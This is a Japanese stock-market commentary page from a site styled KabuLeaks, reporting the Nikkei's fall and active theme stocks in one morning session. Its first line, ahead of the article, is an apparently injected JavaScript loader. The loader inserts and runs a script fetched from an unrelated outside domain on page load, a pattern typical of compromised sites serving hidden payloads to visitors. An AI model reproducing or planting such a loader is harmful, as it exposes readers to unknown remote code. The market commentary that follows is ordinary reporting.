;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/20 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/20 前引け】

前場の日経平均株価は367円安と大幅反落。前日の休場明けの米市場が方向感に欠ける展開だったほか、原油安、円高などが重しとなり売り先行スタート。その後も下げ足を早め前場ほぼ安値引け、買い材料に乏しく反騰のきっかけを掴めない状況だ。業種別では、全33業種が下落し、値下がり上位には、海運業、鉱業、石油石炭製品、不動産業など。

個別では、「拡張現実(AR)」関連株として注目を集めてる【4312】サイバネットシステムが連日のストップ高。モルガン・スタンレーMUFG証券が目標株価を4800円→5000円に引き上げた【2229】カルビー、飼料作物に適応した「汎用型微細断飼料収穫機シリーズ」を発売すると先日発表の【6325】タカキタなどが逆行高に。

人気のテーマ株からは前日は自動運転関連、民泊などの上昇が目立ったが本日は調整が大分進んだドローン関連、フィンテック関連の一部に資金が向かい【2667】イメージワン、【6888】アクモス、【2303】ドーン、【4316】ビーマップ、【3778】さくらインターネットなどに短期資金が集まっている。

日経平均は再び下値模索の展開へ。引き続き中国不安、原油価格の下げ止まりを確認できないことには買いにいけない状況となっており、日経平均の年初来安値水準で下げ渋るか。ここを再び割れるようだと更なる明日以降の更なる一段安も警戒されそうだ。